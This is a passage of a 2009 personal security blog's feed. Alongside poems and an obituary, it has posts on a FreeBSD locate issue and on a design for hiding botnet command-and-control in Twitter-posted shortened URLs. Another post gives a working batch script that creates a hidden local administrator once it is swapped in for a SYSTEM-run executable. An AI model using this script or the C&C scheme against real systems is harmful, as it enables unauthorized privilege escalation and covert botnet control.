/&gt;&lt;pre&gt;&lt;br /&gt;#endif /* FF_MMAP */&lt;br /&gt;  } else {    /* slow step, =&lt; 14 chars */&lt;br /&gt;   count += c - OFFSET;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  if (count &lt; 0 || count &gt; MAXPATHLEN)&lt;br /&gt;   errx(1, "corrupted database: %s", database);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;But, who cares. The process exits, so the mappings and file descriptors will get discarded anywho (as far as I know, which may be wrong). If the mappings aren't discarded, then this could eventually lead to memory exhaustion, especially if the file size was artificially inflated to be bigger than need be. But, this seems a silly way to do a local DDoS.&lt;br /&gt;&lt;br /&gt;So, yeah, if someone notices a vulnerability with locate that could be exploited by corrupting the locate db, someone could potentially gain access to that user's account once that user ran the locate utility. Prior to this, though, the attacker would have to gain access to the nobody account, which isn't trivial, but seems probable due to all of the ports that utilize the account in some fashion.&lt;br /&gt;&lt;br /&gt;Or, tl/dr, a near miss with locate.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-7627845593623194288?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/7627845593623194288/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=7627845593623194288' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/7627845593623194288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/7627845593623194288'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/12/near-miss-issue-with-freebsd-periodic.html' title='Near Miss Issue with FreeBSD periodic locate Script'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-2611086219819936595</id><published>2009-12-02T16:50:00.007-06:00</published><updated>2009-12-03T15:51:20.336-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='botnet'/><title type='text'>Botnet Command And Control With Twitter</title><content type='html'>Using Twitter as a command and control (C&amp;amp;C) for botnets is a novel idea. Googling for twitter+botnet returns a bunch of results, with &lt;a href="http://asert.arbornetworks.com/2009/08/twitter-based-botnet-command-channel/"&gt;some&lt;/a&gt; &lt;a href="http://compsci.ca/blog/botnet-communication-over-twitter-reddit-social-web/"&gt;diamonds&lt;/a&gt;. Listening to &lt;a href="http://www.risky.biz/"&gt;Risky Business&lt;/a&gt; &lt;a href="http://www.risky.biz/RB121"&gt;Episode #121&lt;/a&gt; got the brain juices flowing, though, on a way to be a bit more creative on the C&amp;amp;C structure.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:130%;"&gt;Step 0: C&amp;amp;C Language&lt;/span&gt;&lt;br /&gt;Out of scope for this discussion.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Step 1: Have Persistent Data Returned in a Web App&lt;/span&gt;&lt;br /&gt;A possible way to get persistent data returned within an arbitrary web application would be to find a &lt;a href="http://en.wikipedia.org/wiki/SQL_injection"&gt;SQLi vulnerability&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting#Persistent"&gt;persistent XSS&lt;/a&gt; issue with some random application on the web.  The idea is to be able to enter a string such as the following:&lt;br /&gt;&lt;br /&gt;[PREFIX][ENCODED COMMAND WITH SIGNATURE]&lt;br /&gt;&lt;br /&gt;This string could be commented out or a JavaScript variable. It just has to be present.  The "PREFIX" would be used by the botnet as a search variable. If/when found, the appended command (with some type of signature to ensure integrity) would then be validated, and if good, used.  The PREFIX could be updated in the future, though.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:130%;"&gt;Step 2: Shorten a URL and Do Math&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Enter the prior web application's URL into a popular URL shortener, such as bit.ly, yfrog.com, etc.  Save the resulting shortened URL path.  For example, the bit.ly shortened URL for http://www.google.com is http://bit.ly/14d7yE. Save the 14d7yE and associate it to bit.ly somehow.&lt;br /&gt;&lt;br /&gt;Understand the range of values the shortener provides. bit.ly seems to use [0-9][a-z][A-Z], which would be an alphabet of 62 characters. Map these alphabets to some numbering system. For example, the google.com bit.ly shortened URL could map to this number:&lt;br /&gt;&lt;br /&gt;1*62^5 + 4*62^4 + d*62^3 + 7*62^2 + y*62^1 + E*62^0, which is a number smaller than 990014512.&lt;br /&gt;&lt;br /&gt;Call this number P.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Randomly pick a number and call it Q.  Take P * Q to get N. N gets included with the botnet members.&lt;span style="font-size:100%;"&gt; N should be a variant that can be updated by the botnet members.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Encode Q the same way that P was encoded by the shortener. Q now equals the PREFIX value from above. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:130%;"&gt;Step 3: Inject PREFIX into App&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Inject Q / PREFIX into the web app, along with the encoded commands.&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Step 4: Create a Twitter Account (or Two, or 100)&lt;/span&gt;&lt;br /&gt;Create a twitter account and upload a custom picture. Do not protect the account.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:130%;"&gt;Step 5: Abuse Twitter Public Timeline (or Search) and PROFIT!&lt;/span&gt;&lt;br /&gt;The &lt;a href="http://apiwiki.twitter.com/Twitter-REST-API-Method%3A-statuses-public_timeline"&gt;twitter public timeline&lt;/a&gt; displays the tweets of 20 non-protected accounts with a custom picture, cached for a 60 second period.  To request the current timeline in XML, GET http://twitter.com/statuses/public_timeline.xml.  &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;With all of the available twitter accounts, tweet about the shortened URL. These accounts can tweet about any other URL they want.  The botnet monitors the public timeline. The goal is to get one of these twitter accounts to be shown in the public timeline.&lt;br /&gt;&lt;br /&gt;For whatever shorteners the botnet supports, it will have to follow each and every shortened URL. So, bit.ly may not be a good choice due to all of the false positives and traffic. All the same, a shortener that is rarely used may also stand out.  Getting the tweets in the public timeline may be a numbers game.&lt;br /&gt;&lt;br /&gt;Instead of using the timeline, the botnet could also search twitter for a shortener. For example, searching for short.to's shortener has a limited number of hits relative to bit.ly.  One could use a&lt;a href="http://blog.go2.me/2009/01/exhausting-review-of-link-shorteners.html"&gt; list of shorteners&lt;/a&gt; to test this against and figure out a good one to use.&lt;br /&gt;&lt;br /&gt;Once a shortener link is found, the botnet recreates the PREFIX / Q variable (called Q-prime) by taking the shortened URL, divided by the stored N variable. If the resultant Q-prime is an integer, then the botnet follows the link and searches for the Q-prime variable in the text of the site. If Q-prime is found, the botnet then attempts to decode the command, hopefully signed in some way.&lt;br /&gt;&lt;br /&gt;Voilà!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:130%;"&gt;Issues&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;Since the botnet only follows specific shortened URLs, the secrecy of the C&amp;amp;C server is somewhat impacted. Now, if Q is chosen is a way where it has a lot of coprime factors, then it seems more probable that N can be divided by a larger set of shortened URLs (Ps). But, I'm not a mathematician, so don't trust me here (or anywhere in this post :-)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;If the Twitter accounts only tweet on the C&amp;amp;C shortened URL, the secrecy of the C&amp;amp;C system (and also the subversive nature of the Twitter accounts) is impacted. The accounts can send out random, harmless tweets to add noise.&lt;/li&gt;&lt;li&gt;The public timeline method seems cumbersome. The search method seems a bit more robust.&lt;/li&gt;&lt;li&gt;Systems that pound on twitter.com would probably reveal themselves to be bots&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:100%;"&gt;This seems to be a novel approach to running a C&amp;amp;C server advertised on Twitter. The botnet has no hardcoded data, outside of N, that would reveal the location of the C&amp;amp;C method. Subterfuge can be achieved with the twitter accounts to a point, assuming the prior tweets and links have something in common with the injected site.  The bots could even search for other twitter stuff to add noise in the stream, such as popular accounts or sites.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-2611086219819936595?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/2611086219819936595/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=2611086219819936595' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2611086219819936595'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2611086219819936595'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/12/botnet-command-and-control-with-twitter.html' title='Botnet Command And Control With Twitter'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-6835971282778929315</id><published>2009-11-10T20:37:00.002-06:00</published><updated>2009-11-10T20:39:53.550-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='john passki'/><title type='text'>To Face Death</title><content type='html'>Free&lt;br /&gt;Free from pain, from prison, from silence&lt;br /&gt;Free&lt;br /&gt;&lt;br /&gt;Freedom&lt;br /&gt;Fought for, painfully slowly, one bit&lt;br /&gt;at a&lt;br /&gt;time&lt;br /&gt;And&lt;br /&gt;slower&lt;br /&gt;While love is ripped more and more&lt;br /&gt;And slower&lt;br /&gt;He fought&lt;br /&gt;For Freedom&lt;br /&gt;&lt;br /&gt;Lucky juxtaposed with misfortune&lt;br /&gt;Freedom tied to death&lt;br /&gt;Companions that should not be, but are&lt;br /&gt;But, in the end&lt;br /&gt;Free&lt;br /&gt;&lt;br /&gt;Free&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-6835971282778929315?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/6835971282778929315/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=6835971282778929315' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6835971282778929315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6835971282778929315'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/11/to-face-death.html' title='To Face Death'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-569947413862355125</id><published>2009-11-10T09:41:00.002-06:00</published><updated>2009-11-10T09:43:38.255-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='john passki'/><title type='text'>An Ode to My Father</title><content type='html'>Rest my father&lt;br /&gt;Sweet dreams into the abyss&lt;br /&gt;Orion, oh mighty hunter&lt;br /&gt;Guide my father through the celestial night&lt;br /&gt;Show him where to draw upon peace&lt;br /&gt;Lay his head gently down int the starry sky above&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-569947413862355125?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/569947413862355125/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=569947413862355125' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/569947413862355125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/569947413862355125'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/11/ode-to-my-father.html' title='An Ode to My Father'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3027713064450937567</id><published>2009-11-10T01:48:00.001-06:00</published><updated>2009-11-10T10:17:00.401-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='john passki'/><title type='text'>John Lewis Passki, 1921 - 2009</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Ag2GsPPoUVg/SvmR3WnENyI/AAAAAAAAACw/GfzqZoCLWHo/s1600-h/At+Table+3-4.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 362px; height: 400px;" src="http://1.bp.blogspot.com/_Ag2GsPPoUVg/SvmR3WnENyI/AAAAAAAAACw/GfzqZoCLWHo/s400/At+Table+3-4.png" alt="" id="BLOGGER_PHOTO_ID_5402509608155887394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;John Lewis Passki&lt;br /&gt;88 Years Old. New Brighton, MN.&lt;br /&gt;&lt;br /&gt;Born in Buffalo New York, June 26th, 1921.  Lost his battle with Parkinson's disease on November 9th, 2009. Beloved Husband of Marsha.  Proud father of Jonathan. Stepfather to Lara Masica and Thomas Daryl Sanders (deceased). Also survived by grandchildren Kristina and Larissa Masica.  As per his wishes no funeral or memorial services will be held.&lt;br /&gt;&lt;br /&gt;A very special thanks to St. John's Hospital staff for their wonderful treatment and to Heartland Hospice for their gentle compassionate and loving care. Rest in peace my darling. We love you and will miss you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3027713064450937567?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3027713064450937567/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3027713064450937567' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3027713064450937567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3027713064450937567'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/11/john-lewis-passki-1921-2009.html' title='John Lewis Passki, 1921 - 2009'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Ag2GsPPoUVg/SvmR3WnENyI/AAAAAAAAACw/GfzqZoCLWHo/s72-c/At+Table+3-4.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-8317963106292134663</id><published>2009-11-09T09:44:00.002-06:00</published><updated>2009-11-09T10:05:35.552-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='projects'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Security Side Projects</title><content type='html'>Here's a list of side projects / cool ideas I want to spend some time on:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Find the encrypted password on PGP Disk:  Been wanting to do this for about 5 years w/ PointSec and &lt;a href="http://invisiblethings.org/"&gt;Joanna&lt;/a&gt;'s work on &lt;a href="http://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-after-truecrypt.html"&gt;Evil Maid &lt;/a&gt;prompted me again.  I got PGP for Mac and an external drive.  Now I just need to play :-)&lt;/li&gt;&lt;li&gt;Get a passive demux for modem signals: My gas company &lt;a href="http://www.centerpointenergy.com/"&gt;CenterPoint Energy&lt;/a&gt; uses my phone line to communicate information back to the mothership. I'm not only interested in what is communicated, but what security controls, if any, are present. For example, can I spoof my number or recover credentials to spoof as my neighbor? There are programs and devices out there that do this, but they are released to federal or state law enforcement agencies or are &lt;a href="http://www.aalogic.com/admpcmain.html"&gt;insanely expensive&lt;/a&gt;.  UPDATE: found &lt;a href="http://www.picbasic.org/forum/showthread.php?t=9024"&gt;this&lt;/a&gt;, seems plausible!&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Bayesian_inference"&gt;Bayesian&lt;/a&gt; Logging: This would be similar to &lt;a href="http://www.cs.utah.edu/dept/old/texinfo/as/gprof_toc.html"&gt;profiling&lt;/a&gt; an application, but using the call frequency and patterns to determine unusual issues.  The idea is to log when a function is being called within an application by inserting logging statements within each function.  Intuitively, when I say log into &lt;a href="http://www.openssh.com"&gt;OpenSSH&lt;/a&gt;, there are a set of common sequence of functions that run within some time frame.  If an attacker finds a pre-auth issue in OpenSSH and exploits it, this sequence and/or time frame will be disrupted.  A Bayesian-style analysis daemon on the back-end would hopefully notice this condition and alert as needed.  False-positives could be reclassified, training the Bayesian filter&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.openwall.com/john/"&gt;John the Ripper &lt;/a&gt;running in &lt;a href="http://aws.amazon.com/ec2/"&gt;Amazon EC2&lt;/a&gt;: Pretty basic.  Install John the Ripper in the cloud and crack passwords.  Maybe would do a pay model to cover costs. Any extra would be donated back to Openwall, if possible, or if not, some .org.&lt;/li&gt;&lt;/ul&gt;If any of these have been done, please let me know!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-8317963106292134663?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/8317963106292134663/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=8317963106292134663' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8317963106292134663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8317963106292134663'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/11/security-side-projects.html' title='Security Side Projects'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-1883738026248645782</id><published>2009-11-08T17:37:00.002-06:00</published><updated>2009-11-08T17:38:06.798-06:00</updated><title type='text'>To My Father</title><content type='html'>Do not go gentle into that good night,&lt;br /&gt;Old age should burn and rave at close of day;&lt;br /&gt;Rage, rage against the dying of the light.&lt;br /&gt;&lt;br /&gt;Though wise men at their end know dark is right,&lt;br /&gt;Because their words had forked no lightning they&lt;br /&gt;Do not go gentle into that good night.&lt;br /&gt;&lt;br /&gt;Good men, the last wave by, crying how bright&lt;br /&gt;Their frail deeds might have danced in a green bay,&lt;br /&gt;Rage, rage against the dying of the light.&lt;br /&gt;&lt;br /&gt;Wild men who caught and sang the sun in flight,&lt;br /&gt;And learn, too late, they grieved it on its way,&lt;br /&gt;Do not go gentle into that good night.&lt;br /&gt;&lt;br /&gt;Grave men, near death, who see with blinding sight&lt;br /&gt;Blind eyes could blaze like meteors and be gay,&lt;br /&gt;Rage, rage against the dying of the light.&lt;br /&gt;&lt;br /&gt;And you, my father, there on the sad height,&lt;br /&gt;Curse, bless, me now with your fierce tears, I pray.&lt;br /&gt;Do not go gentle into that good night.&lt;br /&gt;Rage, rage against the dying of the light.&lt;br /&gt;&lt;br /&gt;-- Dylan Thomas&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-1883738026248645782?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/1883738026248645782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=1883738026248645782' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1883738026248645782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1883738026248645782'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/11/to-my-father.html' title='To My Father'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-2828358686486576574</id><published>2009-10-27T21:04:00.006-06:00</published><updated>2009-10-27T21:34:42.945-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='strippers'/><category scheme='http://www.blogger.com/atom/ns#' term='exotic liability'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='stupidity'/><title type='text'>Exotic Liability #37 Podcasts and Differences</title><content type='html'>I enjoyed listening to the &lt;a href="http://exoticliability.libsyn.com/index.php?post_id=539079"&gt;last&lt;/a&gt; &lt;a href="http://exoticliability.libsyn.com/index.php?post_id=541827"&gt;two&lt;/a&gt; &lt;a href="http://twitter.com/exoticliability"&gt;@exoticliability&lt;/a&gt; podcasts from &lt;a href="http://twitter.com/indi303"&gt;@indi303&lt;/a&gt; and &lt;a href="http://www.exoticliability.com/profile/RyanJones"&gt;Ryan Jones&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;Podcast #37 covered intel gathering for clients, leaky strippers, and leaky consultants saying stupid things on social networks.  Having worked with a couple firms in the past and doing some pentesting, I somewhat agree on their general opinion with information / intelligence gathering during a pentest.  In both firms I worked with, information gathering usually received 10% of the budget for the engagement.  This was a management decision of the firms, although I'm sure flexible.&lt;br /&gt;&lt;br /&gt;Looking back, if I was in a management position, I think I would have been cautious on moving the 10% level higher across the board until I saw the value proposition in the results. If we have been doing X and X has been working, why fix it?  To be honest, though, the thought of doing greater than 10% of information gathering never crossed any of our minds. That in and of itself, is probably an issue.  Why not do 25, 50, or 75% of the engagement as information gathering (or some other component)?  And this goes to a bigger question, what is the right amount for any phase of the engagement?  Constraints, such as target scope, types of tests, etc., would play heavily into this, of course.  Still, we treat these numbers as sacred and they aren't.&lt;br /&gt;&lt;br /&gt;#37 also talked about data leakage.  Chris brought up an example of someone leaking the data center location of a possible client.  I got two thoughts on this: the knowledge of a data center location should not decrease its security and if the client thinks the secret is important, it is important.  I don't use &lt;a href="http://foursquare.com/"&gt;foursquare&lt;/a&gt;, but, yeah, tweeting your location whilst at a client is stupid.  I disabled my twitter clients from announcing this data a while ago, because, seriously, anyone needing to know where I'm at is just going to call me.  They are not going to look up my longitude and latitude on Twitter, paste that into Google Maps, and then call me.  Building on my thoughts above, though, sensitive data is perceived to be important by the client, regardless of its actual importance to reality.  In our last paychecks, our clients paid our wage in some way, shape or form. Tomorrow, they might not if you don't care about them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-2828358686486576574?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/2828358686486576574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=2828358686486576574' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2828358686486576574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2828358686486576574'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/10/exotic-liability-37-podcasts-and.html' title='Exotic Liability #37 Podcasts and Differences'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3669170932861773219</id><published>2009-10-15T08:22:00.007-06:00</published><updated>2009-10-15T08:44:52.073-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='batch'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Easy is Cheesy</title><content type='html'>I received a brand-new, corporate-blessed workstation last week.  Since I have a little downtime at my new client, I poked around at the system.  The workstation is based on a standard build, with some security tools installed.  My account is not part of the local Administrators group (Windows-based OS), so I am limited in what can be installed.  My goal was to obtain local admin privileges, which took about 4 hours to achieve.&lt;br /&gt;&lt;br /&gt;Usually, on a new system, I like to figure out what's already existing in log files and such.  The system had a bunch of automated install files from the image creation and subsequent updates.  Out of all the files I parsed, only one had password information in it.  The passwords were redacted, though, via a '****' substitution.  Not too shabby.  The second method was to enumerate file permissions and see if there was an easy way in via a script or automated task.  This was the basic vector I used to elevate privileges.&lt;br /&gt;&lt;br /&gt;I noticed files like win.ini and system.ini were wide open to any user to modify.  Unfortunately, this version of Windows does not utilized these files in any way I found to execute a file (such as the [windows] run= directive in win.ini).  I spent way too much time here, trying to see if my old Win 3.1.1 skills could be of some use :-) Some other files also had weak permissions, but none of them were either in use or going to be assumed to be in use in the foreseeable future.   But, here's where it gets funny: many files in Program Files had "BUILTIN\Users:C" or "Everyone:F" (via xcacls.exe).&lt;br /&gt;&lt;br /&gt;Pulling up Task Manager showed a list of programs that ran as SYSTEM.  The 'exploit' was just replacing (rename, copy) an executable with something that would do a nefarious task.  Being ol' school, I whipped up the following batch file and &lt;a href="http://download.cnet.com/Bat-To-Exe-Converter/3000-2069_4-10555897.html"&gt;converted it to an EXE&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;@echo off&lt;br /&gt;SET OURUSER=YYYYY&lt;br /&gt;SET OURPW=XXXXX&lt;br /&gt;SET OURGROUP=Administrators&lt;br /&gt;&lt;br /&gt;:VARS&lt;br /&gt;SET NETEXE=%SYSTEMROOT%\SYSTEM32\net.EXE&lt;br /&gt;SET FINDS=%SYSTEMROOT%\SYSTEM32\findstr.EXE&lt;br /&gt;SET OUTPUT=%SYSTEMROOT%\TEMP\%OURUSER%.TXT&lt;br /&gt;&lt;br /&gt;IF EXIST %OUTPUT% DEL %OUTPUT%&lt;br /&gt;&lt;br /&gt;echo [X] Attempting to add user %OURUSER%... &gt;&gt; %OUTPUT%&lt;br /&gt;%NETEXE% user %OURUSER% %OURPW% /ADD  &gt;&gt; %OUTPUT%&lt;br /&gt;echo [X] Checking user creation... &gt;&gt; %OUTPUT%&lt;br /&gt;%NETEXE% user | %FINDS% "%OURUSER%"  &gt;&gt; %OUTPUT%&lt;br /&gt;echo [X] Attempting to add user %OURUSER% to group %OURGROUP%... &gt;&gt; %OUTPUT%&lt;br /&gt;net localgroup %OURGROUP% %OURUSER% /ADD  &gt;&gt; %OUTPUT%&lt;br /&gt;echo [X] Checking group addition... &gt;&gt; %OUTPUT%&lt;br /&gt;net localgroup %OURGROUP% | %FINDS% "%OURUSER%"  &gt;&gt; %OUTPUT%&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Pretty simple.  Once converted, I just renamed an EXE, copied this EXE to its name, and rebooted the system [1]. Upon reboot, the account was created.  The humor of this is the client had a HIDS program installed but only turned on to monitor versus block.  The HIDS detected the rogue program and might have prevented such an elementary attack.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sometimes, easy is cheesy, but also just as valid as an 0-day.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1] Well, this took a little bit of troubleshooting.  The batch to EXE converter acted a bit flaky on error checking (via %ERRORLEVEL%). Instead of checking and using conditionals to log different messages, I just in-lined everything to fire and log.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3669170932861773219?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3669170932861773219/comments/default' title='Post Comments'/><link rel='replies' 